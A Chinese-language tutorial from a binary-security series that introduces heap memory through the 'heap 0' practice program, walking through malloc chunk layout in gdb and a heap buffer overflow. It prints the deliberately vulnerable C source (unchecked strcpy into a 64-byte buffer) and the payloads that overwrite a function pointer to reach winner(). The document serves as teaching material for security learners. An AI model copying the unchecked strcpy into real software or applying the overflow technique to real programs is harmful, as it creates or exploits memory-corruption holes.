前言
这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章
什么是堆
堆是动态内存分配的区域,程序在运行时用来分配内存。它与栈不同,栈用于静态分配内存,并且具有固定的大小
程序使用如malloc、calloc、realloc等函数在堆上动态分配内存。当内存不再需要时,使用free函数释放。
例如:
int main(int argc, char **argv)
{struct data *d;d = malloc(sizeof(struct data));
}
通过malloc函数分配的堆地址:
接下来就用实战来讲解堆的运作机制
heap 0
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>struct data { #定义了一个名为data的结构体char name[64]; #包含一个64字节大小的字符数组name
};struct fp { #定义了一个名为fp的结构体int (*fp)(); #包含了一个函数指针fp
};void winner() #自定义函数winner
{printf("level passed\n"); #输出level passed
}void nowinner() #自定义函数nowinner
{printf("level has not been passed\n"); #输出level has not been passed
}int main(int argc, char **argv) #主函数,从命令行获取参数
{struct data *d; #声明了一个指向 struct data 类型结构体的指针 dstruct fp *f; #声明了一个指向 struct fp 类型结构体的指针 fd = malloc(sizeof(struct data)); #给data结构体分配内存f = malloc(sizeof(struct fp)); #给fp结构体分配内存f->fp = nowinner; #fp结构体中的函数指针初始化为指向nowinner函数printf("data is at %p, fp is at %p\n", d, f); #输出data和fp结构体的内存地址strcpy(d->name, argv[1]); #strcpy函数将命令行提供的第一个参数,复制到data结构体的name数组中f->fp(); #调用函数指针指向的函数nowinner}
漏洞发生在strcpy函数处,strcpy函数不会检查目标缓冲区的大小,如果我们提供的参数超过64字节,它将导致缓冲区溢出,如果发生了缓冲区溢出,并且覆盖了f->fp的值,那么可以使它指向winner函数,调用winner函数
我们先在第一个malloc函数调用的地方下一个断点,然后执行到断点处,来看看堆是怎么运行的
现在停在了malloc函数处,还没有执行该指令,可以看到程序空间里是没有堆的
输入n执行malloc函数,再次查看程序空间
可以看到,多出了一个heap空间,也就是堆,地址是0x804a000-0x806b000,我们查看这个堆空间里的数据
现在堆里只有两个数据,0x49-1,0x48是第一个mallco函数给我们分配的空间大小,为什么要减一呢,因为在这个堆中保存数据是,为了区分是否是空闲区域,都会在表示大小的值后面加一个1,+1了就说明当前空间已经被存放了数据,那这里为什么后面存放的数据都是0呢,是因为这个程序是从命令行参数里获取值然后保存的,我们运行程序时没有输入参数,所以这里都是0
name函数大小设置的是64字节,为什么程序给我们分配了72字节的空间,其实是这样算的
程序还将前面保留的四个字节空闲空间和本身表示大小的空间算进去了
而最后的0x20fb9,表示空余堆空间的大小,我们在程序执行strcpy函数的地方下一个断点,这个地方是程序将我们输入的值存入堆里的地方
我们重新运行程序,输入A,执行strcpy函数的指令,再在查看栈空间
程序已经将我们输入的8个A的十六进制值放入了堆,并且下面还有第二个mallco函数的空间
而这个0x8048478则是nowinner函数地址
前面说过,strcpy函数不会检查目标缓冲区的大小,如果我们提供的参数超过64字节,它将导致缓冲区溢出,如果发生了缓冲区溢出,并且覆盖了f->fp的值,那么可以使它指向winner函数,调用winner函数,我们输入76个字符就能完整覆盖nowinner函数地址,控制程序跳转的地址
python -c "print('A'*72 + 'B'*4)"
重新打开gdb,然后运行
这里程序提示跳转到了0x42424242的地址,也就是我们输入的BBBB,这时我们查看堆空间
我们已经将nowinner函数地址给覆盖了
我们将BBBB改为winner函数地址,就成功破解了程序
我们可以使用echo工具来输入不可见字符
./heap0 "`/bin/echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\x84\x04\x08"`"
成功跳转到winner函数
堆是一个很难的部分,为了方便入门,这篇文章只是简单的介绍了一些堆的运作机制,之后的文章再慢慢介绍其他的机制